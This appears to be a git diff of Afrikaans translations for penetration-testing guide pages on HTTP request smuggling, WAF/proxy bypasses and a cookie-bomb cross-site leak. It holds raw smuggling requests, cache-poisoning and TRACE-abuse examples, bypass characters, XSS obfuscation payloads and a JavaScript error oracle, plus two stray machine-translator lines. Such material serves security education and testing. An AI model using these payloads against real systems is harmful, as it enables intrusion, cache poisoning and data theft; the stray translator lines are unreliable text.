`/static/include.js` te vervang met 'n script onder die aanvaller se beheer, wat in wese 'n wye verspreide Cross-Site Scripting (XSS)-aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak. -Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word: +Hieronder is 'n illustrasie van die uitbuiting van **cache poisoning combined with an on-site redirect to open redirect**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word: ``` POST / HTTP/1.1 Host: vulnerable.net @@ -599,20 +600,20 @@ Content-Length: 10 x=1 ``` -Let op die ingebedde versoek wat op `/post/next?postId=3` teiken. Hierdie versoek sal herlei word na `/post?postId=4`, wat die **Host header waarde** gebruik om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**). +Let op die ingeslote versoek wat teiken na `/post/next?postId=3`. Hierdie versoek sal herlei word na `/post?postId=4`, deur gebruik te maak van die **Host header value** om die domein te bepaal. Deur die **Host header** te verander, kan die aanvaller die versoek na hul domein herlei (**on-site redirect to open redirect**). -Na suksesvolle **socket poisoning**, moet 'n **GET versoek** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besmet wees deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die skrip wat deur die aanvaller beheer word, opvra. +Na suksesvolle **socket poisoning**, moet 'n **GET request** vir `/static/include.js` geïnisieer word. Hierdie versoek sal besoedel word deur die vorige **on-site redirect to open redirect** versoek en die inhoud van die deur die aanvaller beheerde script haal. -Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval ontketen. +Daarna sal enige versoek vir `/static/include.js` die gestoorde inhoud van die aanvaller se script bedien, wat effektief 'n wye XSS-aanval ontketen. -### Gebruik van HTTP request smuggling om web cache misleiding uit te voer +### Gebruik van HTTP request smuggling om web cache deception uit te voer > **Wat is die verskil tussen web cache poisoning en web cache deception?** > -> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien. -> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. +> - In **web cache poisoning**, die aanvaller veroorsaak dat die toepassing sekere kwaadwillige inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander toepassingsgebruikers bedien. +> - In **web cache deception**, die aanvaller veroorsaak dat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache. -Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld: +Die aanvaller vervaardig 'n gesmokkelde versoek wat sensitiewe gebruiker-spesifieke inhoud ophaal. Oorweeg die volgende voorbeeld: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -623,17 +624,17 @@ Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -As hierdie gesmokkelde versoek 'n kasinskrywing vir statiese inhoud (bv. `/someimage.png`) besoedel, mag die slagoffer se sensitiewe data van `/private/messages` onder die kasinskrywing van die statiese inhoud gebuffer wees. Gevolglik kan die aanvaller moontlik hierdie gebufferde sensitiewe data terugkry. +As hierdie gesmokkelde request 'n cache-inskrywing wat bedoel is vir statiese inhoud (bv. `/someimage.png`) vergiftig, kan die slagoffer se sensitiewe data van `/private/messages` onder die statiese inhoud se cache-inskrywing geberg word. Gevolglik kan die aanvaller moontlik daardie in die cache gebergde sensitiewe data terugkry. ### Misbruik van TRACE via HTTP Request Smuggling -[**In hierdie pos**](https://portswigger.net/research/trace-desync-attack) word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik is om dit te misbruik met 'n HTTP Request Smuggling. Dit is omdat hierdie metode enige kop wat na die bediener gestuur word, as deel van die liggaam van die antwoord sal reflekteer. Byvoorbeeld: +[**In this post**](https://portswigger.net/research/trace-desync-attack) stel voor dat as die server die metode TRACE geaktiveer het, dit moontlik kan wees om dit met 'n HTTP Request Smuggling te misbruik. Dit is omdat hierdie metode enige header wat na die server gestuur word as deel van die response body sal terugspieël. Byvoorbeeld: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` -I'm ready to assist you with the translation. Please provide the text you would like me to translate. +Stuur asseblief die inhoud van src/pentesting-web/http-request-smuggling/README.md wat jy in Afrikaans vertaal wil hê. ``` HTTP/1.1 200 OK Content-Type: message/http @@ -644,17 +645,17 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -'n Voorbeeld van hoe om hierdie gedrag te misbruik, sou wees om **eers 'n HEAD-versoek te smuggle**. Hierdie versoek sal geantwoord word met slegs die **koppe** van 'n GET-versoek (**`Content-Type`** onder hulle). En smuggle **dadelik na die HEAD 'n TRACE-versoek**, wat die **gestuurde data** sal **reflekteer**.\ -Aangesien die HEAD-antwoord 'n `Content-Length`-kop sal bevat, sal die **antwoord van die TRACE-versoek as die liggaam van die HEAD-antwoord behandel word, wat dus arbitrêre data in die antwoord reflekteer**.\ -Hierdie antwoord sal na die volgende versoek oor die verbinding gestuur word, so dit kan **gebruik word in 'n gebufferde JS-lêer byvoorbeeld om arbitrêre JS-kode in te voeg**. +An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\ +Aangesien die HEAD response `n `Content-Length` header sal bevat, sal die **response van die TRACE request as die body van die HEAD response behandel word, en dus arbitrêre data in die response weerspieël**.\ +Hierdie response sal na die volgende request oor die verbinding gestuur word, so dit kan **byvoorbeeld in 'n gecachede JS-lêer gebruik word om arbitrêre JS-kode in te voeg**. ### Misbruik van TRACE via HTTP Response Splitting -Dit word aanbeveel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg, wat 'n ander manier voorstel om die TRACE-metode te misbruik. Soos opgemerk, is dit moontlik om 'n HEAD-versoek en 'n TRACE-versoek te smuggle om **sommige reflekteerde data** in die antwoord op die HEAD-versoek te **beheer**. Die lengte van die liggaam van die HEAD-versoek word basies in die Content-Length-kop aangedui en word gevorm deur die antwoord op die TRACE-versoek. +Dit word voorgestel om [**hierdie pos**](https://portswigger.net/research/trace-desync-attack) te volg vir 'n ander manier om die TRACE-metode te misbruik. Soos bespreek, deur 'n HEAD request en 'n TRACE request te smuggle is dit moontlik om **sekere weerspieëlde data te beheer** in die response op die HEAD request. Die lengte van die body van die HEAD request word basies aangedui in die `Content-Length` header en word gevorm deur die response van die TRACE request. -Daarom sou die nuwe idee wees dat, met kennis van hierdie Content-Length en die data gegee in die TRACE-antwoord, dit moontlik is om die TRACE-antwoord 'n geldige HTTP-antwoord na die laaste byte van die Content-Length te laat bevat, wat 'n aanvaller in staat stel om die versoek na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n cache-besoedeling uit te voer). +Dus, die nuwe idee sou wees dat, as hierdie `Content-Length` en die data in die TRACE-response bekend is, dit moontlik is om die TRACE-response 'n geldige HTTP response te laat bevat ná die laaste byte van die Content-Length, wat 'n aanvaller toelaat om die request na die volgende response heeltemal te beheer (wat gebruik kan word om cache poisoning uit te voer). -Voorbeeld: +Example: ``` GET / HTTP/1.1 Host: example.com @@ -673,7 +674,7 @@ Content-Length: 44\r\n \r\n ``` -Sal hierdie antwoorde genereer (let op hoe die HEAD-antwoord 'n Content-Length het wat die TRACE-antwoord deel van die HEAD-liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-antwoord gesmuggel): +Sal hierdie responses genereer (let op hoe die HEAD response 'n Content-Length het wat die TRACE response deel van die HEAD body maak, en sodra die HEAD Content-Length eindig, word 'n geldige HTTP response gesmokkel): ``` HTTP/1.1 200 OK Content-Type: text/html @@ -694,32 +695,32 @@ Content-Length: 50 ``` -### Wapen van HTTP Versoek Smuggling met HTTP Antwoord Desynchronisasie +### Wapenisering van HTTP Request Smuggling met HTTP Response Desynchronisation -Het jy 'n HTTP Versoek Smuggling kwesbaarheid gevind en weet jy nie hoe om dit te benut nie. Probeer hierdie ander metode van benutting: +Het jy 'n HTTP Request Smuggling kwesbaarheid gevind en weet nie hoe om dit uit te buit nie? Probeer hierdie ander metodes van uitbuiting: {{#ref}} ../http-response-smuggling-desync.md {{#endref}} -### Ander HTTP Versoek Smuggling Tegnieke +### Ander HTTP Request Smuggling Tegnieke -- Blaaier HTTP Versoek Smuggling (Kliëntkant) +- Browser HTTP Request Smuggling (Client Side) {{#ref}} browser-http-request-smuggling.md {{#endref}} -- Versoek Smuggling in HTTP/2 Downgrades +- Request Smuggling in HTTP/2 Downgrades {{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}} -## Turbo indringer skripte +## Turbo intruder skripte ### CL.TE @@ -806,18 +807,18 @@ time.sleep(0.05) def handleResponse(req, interesting): table.add(req) ``` -## Tools +## Gereedskap -- HTTP Hacker (Burp BApp Store) – visualiseer concatenasie/raamwerk en lae‑vlak HTTP gedrag +- HTTP Hacker (Burp BApp Store) – visualiseer concatenation/framing en laagvlak HTTP-gedrag - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?" - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz) -- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde versoek smuggling verskille te vind. +- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Hierdie hulpmiddel is 'n grammatika-gebaseerde HTTP Fuzzer wat nuttig is om vreemde request smuggling-afwykings op te spoor. -## References +## Verwysings - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) @@ -828,10 +829,10 @@ table.add(req) - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- Wees versigtig vir die vals vals‑positiewe: hoe om HTTP pipelining van versoek smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) +- Pasop vir die vals vals-positief: hoe om HTTP pipelining van request smuggling te onderskei – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling) - [https://http1mustdie.com/](https://http1mustdie.com/) - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) -- PortSwigger Academy – kliënt‑kant desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) +- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 78d9ba95a..c4c1766a9 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -1,13 +1,13 @@ -# Proxy / WAF Beskerming Omseiling +# Proxy / WAF Beskermingsomseiling {{#include ../banners/hacktricks-training.md}} -## Omseiling van Nginx ACL Reëls met Padnaam Manipulasie +## Omseiling van Nginx ACL-reëls deur padnaammanipulasie -Tegnieke [uit hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). +Tegnieke [van hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). -Nginx reël voorbeeld: +Voorbeeld van 'n Nginx-reël: ```plaintext location = /admin { deny all; @@ -17,41 +17,41 @@ location = /admin/ { deny all; } ``` -Om omseilings te voorkom, voer Nginx padnormalisering uit voordat dit dit nagaan. As die agtergrondbediener egter 'n ander normalisering uitvoer (wat karakters verwyder wat Nginx nie verwyder nie), kan dit moontlik wees om hierdie verdediging te omseil. +Om bypasses te voorkom voer Nginx padnormalisering uit voordat dit die pad kontroleer. As die backend-server egter 'n ander normalisering uitvoer (deur karakters te verwyder wat nginx nie verwyder nie), kan dit moontlik wees om hierdie verdediging te bypass. ### **NodeJS - Express** -| Nginx Weergawe | **Node.js Omseil Karakters** | -| -------------- | ----------------------------- | -| 1.22.0 | `\xA0` | -| 1.21.6 | `\xA0` | -| 1.20.2 | `\xA0`, `\x09`, `\x0C` | -| 1.18.0 | `\xA0`, `\x09`, `\x0C` | -| 1.16.1 | `\xA0`, `\x09`, `\x0C` | +| Nginx Weergawe | **Node.js Bypass-karakters** | +| ------------- | ----------------------------- | +| 1.22.0 | `\xA0` | +| 1.21.6 | `\xA0` | +| 1.20.2 | `\xA0`, `\x09`, `\x0C` | +| 1.18.0 | `\xA0`, `\x09`, `\x0C` | +| 1.16.1 | `\xA0`, `\x09`, `\x0C` | ### **Flask** -| Nginx Weergawe | **Flask Omseil Karakters** | -| -------------- | ------------------------------------------------------------- | -| 1.22.0 | `\x85`, `\xA0` | -| 1.21.6 | `\x85`, `\xA0` | -| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | -| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | -| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| Nginx Weergawe | **Flask Bypass-karakters** | +| ------------- | -------------------------------------------------------------- | +| 1.22.0 | `\x85`, `\xA0` | +| 1.21.6 | `\x85`, `\xA0` | +| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | +| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | ### **Spring Boot** -| Nginx Weergawe | **Spring Boot Omseil Karakters** | -| -------------- | --------------------------------- | -| 1.22.0 | `;` | -| 1.21.6 | `;` | -| 1.20.2 | `\x09`, `;` | -| 1.18.0 | `\x09`, `;` | -| 1.16.1 | `\x09`, `;` | +| Nginx Weergawe | **Spring Boot Bypass-karakters** | +| ------------- | --------------------------------- | +| 1.22.0 | `;` | +| 1.21.6 | `;` | +| 1.20.2 | `\x09`, `;` | +| 1.18.0 | `\x09`, `;` | +| 1.16.1 | `\x09`, `;` | ### **PHP-FPM** -Nginx FPM konfigurasie: +Nginx FPM-konfigurasie: ```plaintext location = /admin.php { deny all; @@ -62,9 +62,9 @@ include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } ``` -Nginx is geconfigureer om toegang tot `/admin.php` te blokkeer, maar dit is moontlik om dit te omseil deur toegang te verkry tot `/admin.php/index.php`. +Nginx is gekonfigureer om toegang tot `/admin.php` te blokkeer, maar dit is moontlik om dit te bypass deur toegang te kry tot `/admin.php/index.php`. -### Hoe om te voorkom +### Hoe om dit te voorkom ```plaintext location ~* ^/admin { deny all; @@ -72,22 +72,22 @@ deny all; ``` ## Bypass Mod Security Rules -### Pad Verwarring +### Padverwarring -[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12), **die `REQUEST_FILENAME`** veranderlike onregverdig geïmplementeer het wat veronderstel was om die toeganklike pad (tot die begin van die parameters) te bevat. Dit is omdat dit 'n URL-dekodeer uitgevoer het om die pad te kry.\ -Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security veronderstel dat die pad net `/foo` is omdat `%3f` in `?` omgeskakel word wat die URL-pad beëindig, maar eintlik sal die pad wat 'n bediener ontvang `/foo%3f';alert(1);foo=` wees. +[**In hierdie pos**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) word verduidelik dat ModSecurity v3 (tot 3.0.12) **die `REQUEST_FILENAME` verkeerd geïmplementeer het** — dit was veronderstel om die aangeroepde pad te bevat (tot aan die begin van die parameters). Dit is omdat dit 'n URL-dekodering uitgevoer het om die pad te kry.\ +Daarom sal 'n versoek soos `http://example.com/foo%3f';alert(1);foo=` in mod security aanneem dat die pad net `/foo` is omdat `%3f` na `?` omgeskakel word wat die URL-pad beëindig, maar in werklikheid sal die pad wat die bediener ontvang `/foo%3f';alert(1);foo=` wees. Die veranderlikes `REQUEST_BASENAME` en `PATH_INFO` was ook deur hierdie fout geraak. -Iets soortgelyks het in weergawe 2 van Mod Security gebeur wat 'n beskerming toegelaat het wat verhoed het dat gebruikers toegang tot lêers met spesifieke uitbreidings wat met rugsteunlêers verband hou (soos `.bak`) verkry, eenvoudig deur die punt URL-gecodeer in `%2e` te stuur, byvoorbeeld: `https://example.com/backup%2ebak`. +Iets soortgelyks het in weergawe 2 van Mod Security voorgekom wat toegelaat het om 'n beskerming te omseil wat gebruikers verhinder het om lêers met sekere uitbreidings wat verband hou met backup-lêers (soos `.bak`) te bereik, eenvoudig deur die punt URL-gekodeer as `%2e` te stuur, byvoorbeeld: `https://example.com/backup%2ebak`. ## Bypass AWS WAF ACL -### Verkeerde Header +### Verkeerd gevormde Header -[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-headers toegepas is, te omseil deur 'n "verkeerde" header te stuur wat nie behoorlik deur AWS ontleed is nie, maar wel deur die agtergrondbediener. +[Hierdie navorsing](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) noem dat dit moontlik was om AWS WAF-reëls wat op HTTP-headers toegepas is te omseil deur 'n "malformed" header te stuur wat nie behoorlik deur AWS gepars is nie, maar wel deur die backend server. -Byvoorbeeld, deur die volgende versoek met 'n SQL-inspuiting in die header X-Query te stuur: +Byvoorbeeld, deur die volgende versoek te stuur met 'n SQL injection in die header X-Query: ```http GET / HTTP/1.1\r\n Host: target.com\r\n @@ -96,51 +96,52 @@ X-Query: Value\r\n Connection: close\r\n \r\n ``` -Dit was moontlik om AWS WAF te omseil omdat dit nie verstaan het dat die volgende lyn deel is van die waarde van die kop nie, terwyl die NODEJS-bediener dit wel gedoen het (dit is reggestel). +Dit was moontlik om AWS WAF te omseil omdat dit nie verstaan het dat die volgende reël deel is van die waarde van die header nie, terwyl die NODEJS server dit wel gedoen het (dit is reggemaak). -## Generiese WAF omseilings +## Generiese WAF bypasses -### Versoekgrootte beperkings +### Beperkings op versoekgrootte -Gewoonlik het WAFs 'n sekere lengtebeperking van versoeke om te kontroleer, en as 'n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie kontroleer nie. +Gewoonlik het WAFs 'n sekere lengtegrens van versoeke om te kontroleer, en as 'n POST/PUT/PATCH versoek dit oorskry, sal die WAF die versoek nie kontroleer nie. -- Vir AWS WAF kan jy [**die dokumentasie nagaan**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** +- Vir AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:** -
Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir Application Load Balancer en AWS AppSync beskermings8 KB
Maximale grootte van 'n webversoekliggaam wat ondersoek kan word vir CloudFront, API Gateway, Amazon Cognito, App Runner, en Verified Access beskermings**64 KB
+
Maksimum grootte van 'n webversoekliggaam wat geïnspekteer kan word vir Application Load Balancer en AWS AppSync beskerming8 KB
Maksimum grootte van 'n webversoekliggaam wat geïnspekteer kan word vir CloudFront, API Gateway, Amazon Cognito, App Runner, en Verified Access beskerming**64 KB
-- Van [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** +- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:** -Ou Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur versoekliggaamondersoek af te skakel, maar hierdie boodskappe sal nie op kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer) kan dieselfde gedoen word deur die maksimum versoekliggaamlimiet te deaktiveer. Wanneer 'n versoek die groottegrens oorskry: +Ouer Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as **128 KB** toe deur request body inspection af te skakel, maar hierdie boodskappe sal nie vir kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer), kan dieselfde gedoen word deur die maksimum request body limit te deaktiveer. Wanneer 'n versoek die groottegrens oorskry: -As p**reventiemodus**: Teken die versoek aan en blokkeer dit.\ -As **deteksie-modus**: Ondersoek tot by die limiet, ignoreer die res, en teken aan as die `Content-Length` die limiet oorskry. +As p**revention mode**: Logs en blokkeer die versoek.\ +As **detection mode**: Inspekteer tot by die limiet, ignoreer die res, en log as die `Content-Length` die limiet oorskry. -- Van [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** +- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:** -Standaard ondersoek die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet tot 128KB verhoog deur Gevorderde Metadata by te voeg. +Standaard inspekteer die WAF slegs die eerste 8KB van 'n versoek. Dit kan die limiet verhoog tot 128KB deur Advanced Metadata by te voeg. -- Van [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** +- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:** Tot 128KB. -### Statiese bates ondersoek gapings (.js GETs) +### Gaping in inspeksie van statiese assets (.js GETs) -Sommige CDN/WAF-stapels pas swak of geen inhoudondersoek toe op GET-versoeke vir statiese bates (byvoorbeeld paaie wat eindig op `.js`), terwyl hulle steeds globale reëls soos spoedbeperking en IP-reputasie toepas. Saam met outo-kas van statiese uitbreidings kan dit misbruik word om kwaadwillige variasies te lewer of te saai wat daaropvolgende HTML-antwoorde beïnvloed. +Sommige CDN/WAF-stakke pas swak of geen inhoudinspeksie toe op GET-versoeke vir statiese assets (byvoorbeeld paadjies wat eindig met `.js`), terwyl hulle steeds globale reëls soos rate limiting en IP reputation toepas. Gekombineer met outo-caching van statiese extensies, kan dit misbruik word om kwaadwillige variante te lewer of in te saai wat daaropvolgende HTML-antwoorde beïnvloed. Praktiese gebruiksgevalle: -- Stuur payloads in onbetroubare koppe (bv. `User-Agent`) op 'n GET na 'n `.js` pad om inhoudondersoek te vermy, en vra dan onmiddellik die hoof HTML aan om die gekaste variasie te beïnvloed. -- Gebruik 'n vars/skoon IP; sodra 'n IP gemerk is, kan routeringveranderinge die tegniek onbetroubaar maak. -- In Burp Repeater, gebruik "Stuur groep in parallel" (enkele-pakket styl) om die twee versoeke (`.js` dan HTML) deur dieselfde front-end pad te jaag. +- Stuur payloads in onbetroubare headers (bv. `User-Agent`) op 'n GET na 'n `.js`-pad om inhoudinspeksie te vermy, en versoek dan onmiddellik die hoof-HTML om die gekashte variant te beïnvloed. +- Gebruik 'n vars/skoon IP; sodra 'n IP gemerk is, kan routeringsveranderinge die tegniek onbetroubaar maak. +- In Burp Repeater, gebruik "Send group in parallel" (single-packet style) om die twee versoeke (`.js` dan HTML) saam deur dieselfde front-end-pad te jaag. -Dit pas goed saam met kop-refleksie kas vergiftiging. Sien: +Dit werk goed saam met header-reflection cache poisoning. Sien: -- {{#ref}} +{{#ref}} cache-deception/README.md {{#endref}} -- [Hoe ek 'n 0-Klik Rekening oorname in 'n openbare BBP gevind het en dit benut het om toegang tot Admin-Vlak funksies te verkry](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -### Obfuskaasie +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) + +### Obfuskering ```bash # IIS, ASP Clasic <%s%cr%u0131pt> == #changing the case of the tag < #prepending an additional "<" @@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ``` ## Gereedskap -- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-inprop om rommeldata aan versoeke toe te voeg om WAFs deur lengte te omseil +- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin om junk data by requests te voeg om WAFs deur lengte te bypass ## Verwysings @@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [Hoe ek 'n 0-Klik Rekening oorname in 'n openbare BBP gevind het en dit benut het om toegang tot Admin-vlak funksies te verkry](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md index 52f0e1663..1db894a2d 100644 --- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md +++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md @@ -2,7 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -Die volgende **script** geneem van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) benut 'n funksionaliteit wat die gebruiker toelaat om **enige hoeveelheid koekies** in te voeg, en dan 'n lêer as 'n script te laai met die wete dat die werklike antwoord groter sal wees as die valse een en dan. As dit suksesvol is, is die antwoord 'n omleiding met 'n resulterende URL wat langer is, **te groot om deur die bediener hanteer te word, so dit keer 'n fout http statuskode terug**. As die soektog misluk, sal niks gebeur nie omdat die URL kort is. +Hierdie tegniek kombineer: +- Cookie bombing: die slagoffer se blaaier met baie/groot cookies vir die teiken-origin volstop sodat opvolgende versoeke bediener-/versoeklimiete tref (request header size, URL size in redirects, ens.). +- Error-event oracle: peil 'n cross-origin endpoint met 'n ``` +Waarom die popup (window.open)? +- Moderne blaaiers blokkeer toenemend third-party cookies. Om 'n top-level window na die target oop te maak maak die cookies first-party, sodat Set-Cookie responses van die target vasbly en die cookie-bomb stap moontlik maak, selfs met third-party cookie-beperkings. + +Generic probing helper +As jy reeds 'n manier het om baie cookies op die target origin (first-party) te stel, kan jy hierdie minimale oracle hergebruik teen enige endpoint waarvan sukses/mislukking tot verskillende netwerk-uitkomste (status/MIME/redirect) lei: +```js +function probeError(url) { +return new Promise((resolve) => { +const s = document.createElement('script'); +s.src = url; +s.onload = () => resolve(false); // loaded successfully +s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked) +document.head.appendChild(s); +}); +} +``` +Tips om die orakel te bou +- Dwing die “positiewe” toestand swaarder te wees: skakel ’n ekstra redirect net wanneer die predikaat waar is, of laat die omleidings-URL onbeperkte gebruikersinvoer weerspieël sodat dit saam met die geraamde voorvoegsel groei. +- Blaas koptekste op: herhaal cookie bombing totdat ’n konsekwente fout op die “sware” pad waargeneem word. Bedieners stel 